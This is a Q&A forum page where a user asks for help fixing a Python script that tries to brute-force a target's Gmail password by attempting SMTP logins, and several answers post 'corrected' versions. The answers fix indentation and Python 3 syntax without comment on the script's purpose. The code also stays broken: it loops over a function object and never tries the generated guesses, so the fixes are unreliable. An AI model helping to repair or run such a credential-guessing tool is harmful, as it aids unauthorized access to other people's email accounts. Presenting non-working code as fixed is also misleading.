Back

Explore Courses Blog Tutorials Interview Questions
0 votes
2 views
in Python by (16.4k points)
closed by

I'm attempting to sort out for what reason isn't my code working. I'm attempting to improve my python ability by adding some code to another, however when I attempted to execute it continues to give me a syntax error.

import itertools 

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)

smtpserver.ehlo()

smtpserver.starttls()

user = raw_input("Enter Target's Gmail Address: ")

def print_perms(chars, minlen, maxlen): 

    for n in range(minlen, maxlen+1): 

        for perm in itertools.product(chars, repeat=n): 

            print(''.join(perm)) 

print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)

for symbols in print_perms:

    try:

        smtpserver.login(user, password)

        print "[+] Password Cracked: %s" % symbols

        break;

        except smtplib.SMTPAuthenticationError:

            print "[!] Password Inccorect: %s" % symbols

The output:

File "main.py", line 22                                                                                                                                                       

    except smtplib.SMTPAuthenticationError:                                                                                                                                     

         ^                                                                                                                                                                      

SyntaxError: invalid syntax 

I don't know how to correct this problem. Please help me.

closed

4 Answers

0 votes
by (19k points)
 
Best answer
Here's a shortened version of the corrected code:

import itertools

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)

smtpserver.ehlo()

smtpserver.starttls()

user = input("Enter Target's Gmail Address: ")

password = input("Enter your password: ")

def print_perms(chars, minlen, maxlen):

    for n in range(minlen, maxlen + 1):

        for perm in itertools.product(chars, repeat=n):

            print(''.join(perm))

print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)

for symbols in print_perms:

    try:

        smtpserver.login(user, password)

        print("[+] Password Cracked: %s" % symbols)

        break

    except smtplib.SMTPAuthenticationError:

        print("[!] Password Incorrect: %s" % symbols)

This version maintains the necessary changes to fix the syntax errors and keeps the functionality intact.
0 votes
by (26.4k points)

Intendation is the only issue.

Here, except should be in the same indent level of try.

Wanna become a Python expert? Come and join the python certification course and get certified.

0 votes
by (25.7k points)
The code you provided has a few syntax errors. Here's the corrected version:

import itertools

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)

smtpserver.ehlo()

smtpserver.starttls()

user = input("Enter Target's Gmail Address: ")

password = input("Enter your password: ")  # You need to provide the password variable

def print_perms(chars, minlen, maxlen):

    for n in range(minlen, maxlen + 1):

        for perm in itertools.product(chars, repeat=n):

            print(''.join(perm))

print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)

for symbols in print_perms:

    try:

        smtpserver.login(user, password)

        print("[+] Password Cracked: %s" % symbols)

        break

    except smtplib.SMTPAuthenticationError:

        print("[!] Password Incorrect: %s" % symbols)
0 votes
by (15.4k points)
The code you provided has a few syntax errors. Here's the corrected version:

import itertools

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)

smtpserver.ehlo()

smtpserver.starttls()

user = input("Enter Target's Gmail Address: ")

password = input("Enter your password: ")  # You need to provide the password variable

def print_perms(chars, minlen, maxlen):

    for n in range(minlen, maxlen + 1):

        for perm in itertools.product(chars, repeat=n):

            print(''.join(perm))

print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)

for symbols in print_perms:

    try:

        smtpserver.login(user, password)

        print("[+] Password Cracked: %s" % symbols)

        break

    except smtplib.SMTPAuthenticationError:

        print("[!] Password Incorrect: %s" % symbols)

Here are the corrections made:

The raw_input() function has been changed to input() since you're using Python 3. The raw_input() function was used in Python 2.

You need to provide a value for the password variable. Add an input() statement to prompt the user to enter their password.

Indentation for the try block was incorrect. The except clause should be at the same indentation level as the try block.

The print statements need parentheses since you're using Python 3.

Make sure you provide the correct Gmail address and password to test the code properly.

Related questions

Browse Categories

...